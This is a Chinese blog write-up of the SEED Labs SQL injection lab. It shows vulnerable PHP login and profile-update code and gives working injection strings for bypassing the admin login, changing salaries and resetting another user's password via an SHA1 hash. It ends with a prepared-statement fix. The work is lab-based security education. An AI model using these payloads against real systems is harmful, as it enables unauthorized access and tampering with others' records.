朋友供稿,是一个SQL注入小实验,他做完就到我学习了🥰

实验发布地址:https://seedsecuritylabs.org/chinese/labs/Web/Web_SQL_Injection/


SQL 注入攻击实验

任务1:熟悉SQL语句

SQL 语句:

1
SELECT * FROM credential WHERE Name = 'Alice';

终端内打印Alice信息

任务2:在 SELECT 语句上执行 SQL 注入攻击

任务2.1:网页上的 SQL 注入攻击

由实验报告手册可知,网站由以下代码逻辑来执行身份认证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$input_uname = $_GET['username'];
$input_pwd = $_GET['Password'];
$hashed_pwd = sha1($input_pwd);

...

$sql = "SELECT id, name, eid, salary, birth, ssn, address, email,nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd'";
$result = $conn -> query($sql);

//以下是伪代码
if(id != NULL) {
if(name=='admin') {
return All employees information;
} else if (name !=NULL) {
return employee information;
}
} else {
Authentication Fails;
}

网页端输入的 usernamepassword 就是 input_unameinput_pwd 变量,我们只知道管理员的 username 是 admin,并不知道密码,因此可以通过在用户名处加入注释符 # 来将后面的密码判断逻辑注释掉。

因此输入:

  • 用户名:admin' #
  • 密码:123(任意输入都可以)

可得到:

1
SELECT id, name, eid, salary, birth, ssn, address, email,nickname, Password FROM credential WHERE name= 'admin' #' and Password='123'

只剩下对 name 的判断逻辑。

任务2select注入

最终结果:任务2select注入结果

任务2.2:从命令行进行SQL注入攻击

使用 Python 代码生成查询 url

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import urllib.parse

base_url = "http://www.seed-server.com/unsafe_home.php"

username = input("请输入用户名:")
pwd = input("请输入密码:")

params = {
'username': username,
'Password': pwd
}

query_string = urllib.parse.urlencode(params)

# 拼接完整 URL
full_url = base_url + "?" + query_string

print("生成的 Payload URL 如下:")
print(full_url)

得到:

任务2.2python生成url

在终端内运行,得到网站的 html 代码:

任务2.2终端运行

全文如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<!--
SEED Lab: SQL Injection Education Web plateform
Author: Kailiang Ying
Email: kying@syr.edu
-->

<!--
SEED Lab: SQL Injection Education Web plateform
Enhancement Version 1
Date: 12th April 2018
Developer: Kuber Kohli

Update: Implemented the new bootsrap design. Implemented a new Navbar at the top with two menu options for Home and edit profile, with a button to
logout. The profile details fetched will be displayed using the table class of bootstrap with a dark table head theme.

NOTE: please note that the navbar items should appear only for users and the page with error login message should not have any of these items at
all. Therefore the navbar tag starts before the php tag but it end within the php script adding items as required.
-->

<!DOCTYPE html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

<!-- Bootstrap CSS -->
<link rel="stylesheet" href="css/bootstrap.min.css">
<link href="css/style_home.css" type="text/css" rel="stylesheet">

<!-- Browser Tab title -->
<title>SQLi Lab</title>
</head>
<body>
<nav class="navbar fixed-top navbar-expand-lg navbar-light" style="background-color: #3EA055;">
<div class="collapse navbar-collapse" id="navbarTogglerDemo01">
<a class="navbar-brand" href="unsafe_home.php" ><img src="seed_logo.png" style="height: 40px; width: 200px;" alt="SEEDLabs"></a>

<ul class='navbar-nav mr-auto mt-2 mt-lg-0' style='padding-left: 30px;'><li class='nav-item active'><a class='nav-link' href='unsafe_home.php'>Home <span class='sr-only'>(current)</span></a></li><li class='nav-item'><a class='nav-link' href='unsafe_edit_frontend.php'>Edit Profile</a></li></ul><button onclick='logout()' type='button' id='logoffBtn' class='nav-link my-2 my-lg-0'>Logout</button></div></nav><div class='container'><br><h1 class='text-center'><b> User Details </b></h1><hr><br><table class='table table-striped table-bordered'><thead class='thead-dark'><tr><th scope='col'>Username</th><th scope='col'>EId</th><th scope='col'>Salary</th><th scope='col'>Birthday</th><th scope='col'>SSN</th><th scope='col'>Nickname</th><th scope='col'>Email</th><th scope='col'>Address</th><th scope='col'>Ph. Number</th></tr></thead><tbody><tr><th scope='row'> Alice</th><td>10000</td><td>20000</td><td>9/20</td><td>10211002</td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Boby</th><td>20000</td><td>30000</td><td>4/20</td><td>10213352</td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Ryan</th><td>30000</td><td>50000</td><td>4/10</td><td>98993524</td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Samy</th><td>40000</td><td>90000</td><td>1/11</td><td>32193525</td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Ted</th><td>50000</td><td>110000</td><td>11/3</td><td>32111111</td><td></td><td></td><td></td><td></td></tr><tr><th scope='row'> Admin</th><td>99999</td><td>400000</td><td>3/5</td><td>43254314</td><td></td><td></td><td></td><td></td></tr></tbody></table> <br><br>
<div class="text-center">
<p>
Copyright &copy; SEED LABs
</p>
</div>
</div>
<script type="text/javascript">
function logout(){
location.href = "logoff.php";
}
</script>
</body>
</html>

任务2.3:附加一个新的 SQL 语句

在登录界面输入:

  • 用户名:admin'; UPDATE credential SET Password = '123' WHERE username = 'admin'; #
  • 密码:123

则最终的 sql 查询代码会变成:

1
SELECT id, name, eid, salary, birth, ssn, address, email,nickname, Password FROM credential WHERE name= 'admin'; UPDATE credential SET Password = '123' WHERE username = 'admin'; #' and Password='123'

如果执行成功,则会进行以下操作:

  1. 查询 admin 的信息。
  2. 把 admin 的密码改成 123。

但实际上网页的反馈是:

任务2.3网页截图

原因:PHP 的 mysqli::query() API 限制

查看 unsafe_home.php 源代码中执行 SQL 的代码段:

1
$result = $conn->query($sql);
  • mysqli::query()在设计上只允许执行一条 SQL 语句
  • 当传入的字符串包含分号 ; 试图分隔多条语句时,该函数会直接停止执行或报错,它不会执行分号后面的任何内容。

任务 3:在 UPDATE 语句上执行 SQL 注入攻击

任务 3.1:修改自己的工资

由实验手册可知,当员工通过这个编辑资料页面来更新他们的信息时,以下 SQL UPDATE 查询将被执行:

1
2
3
4
5
6
7
8
9
$hashed_pwd = sha1($input_pwd);
$sql = "UPDATE credential SET
nickname='$input_nickname',
email='$input_email',
address='$input_address',
Password='$hashed_pwd',
PhoneNumber='$input_phonenumber'
WHERE ID=$id;";
$conn->query($sql);

假设 Alice 想要修改自己的工资,已知薪水的列名为 salary ,观察到 update 语句中用逗号继续赋值,可以巧妙设置输入文本来加入想要的东西。

在中间任意一行输入文本 blabla', salary = '999999,例如将这个内容填入 nickname 输入框,拼接后的 SQL 语句为:

1
2
3
UPDATE credential SET
nickname='blabla', salary = '999999',
email='$input_email', ...

使用任务2中的方法登录到 Alice 的账户:

任务3.1登录Alice

修改 nickname 栏:

任务3.1nickname

结果:

任务3.1修改薪水

任务 3.2:修改其他人的工资

有了之前的经验,关键是怎么修改到别人的账户内容。原有的 update 执行逻辑为 WHERE ID=$id,如果能用 WHERE Name = 'Boby' 就可以直接修改了。

联想到任务2中的注释法,我们可以编写文本:douchebag', salary = '1' WHERE Name = 'Boby'; #,用注释符劫持原有的 WHERE 逻辑,拼接后的 SQL 语句为:

1
UPDATE credential SET nickname='douchebag', salary = '1' WHERE Name = 'Boby'; # ', email='$input_email', ... WHERE ID=$id;

在 Alice 的账户编辑个人资料:

任务3.2Alice编辑资料

在 admin 账号查看老板 Boby 的薪水:

任务3.2查看Boby的薪水

任务 3.3:修改其他人的密码

如果利用任务3.2中的逻辑来修改老板的账户密码,我们会直接操作数据库内存储的密码哈希文本, 如果构造 Password='123456' 并成功注入:

  1. 数据库里的密码字段变成了 123456
  2. 在登录页面输入 123456
  3. 登录页面的 PHP 代码会将 Boby 输入的 123456 进行 SHA1 哈希,得到 SHA1(123456)
  4. 程序比对: SHA1(123456) (计算值) 不等于 123456 (数据库存储值)。

因此我们需要首先计算哈希值,利用以下 Python 代码进行计算:

1
2
3
4
5
6
7
8
import hashlib

password = input("请输入原密码:")

sha1_hash = hashlib.sha1(password.encode('utf-8')).hexdigest()

print(f"明文: {password}")
print(f"SHA1: {sha1_hash}")

输入明文 123456,得到 SHA1 哈希值 7c4a8d09ca3762af61e59520943dc26494f8941b

![任务3.3SHA1算法](任务3.3_SHA1算法 .png)

通过任务3.2的方法进行 SQL 注入,在 nickname 栏输入 douchebag', Password = '7c4a8d09ca3762af61e59520943dc26494f8941b' WHERE Name = 'Boby';#

任务3.3修改密码

测试成功:

任务3.3测试成功

任务 4:防范措施 — Prepared 语句

先展示修复之前的场景:

任务4修复前1任务4修复前2

可见在修复前是不能防范 SQL 注入的。

打开源代码查看,发现负责查询的代码是:

1
2
3
4
// do the query
$result = $conn->query("SELECT id, name, eid, salary, ssn
FROM credential
WHERE name= '$input_uname' and Password= '$hashed_pwd'");

按照手册中的指南修复,将原有的变量 $var 替换为 ? 占位符,并作出预处理修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// do the query
$sql = "SELECT id, name, eid, salary, ssn
FROM credential
WHERE name= ? and Password= ?";

if ($stmt = $conn->prepare($sql)) {
// name and Password are string
$stmt->bind_param("ss", $input_uname, $hashed_pwd);

$stmt->execute();

$result = $stmt->get_result();

$stmt->close();
}

修复后:

任务4修复后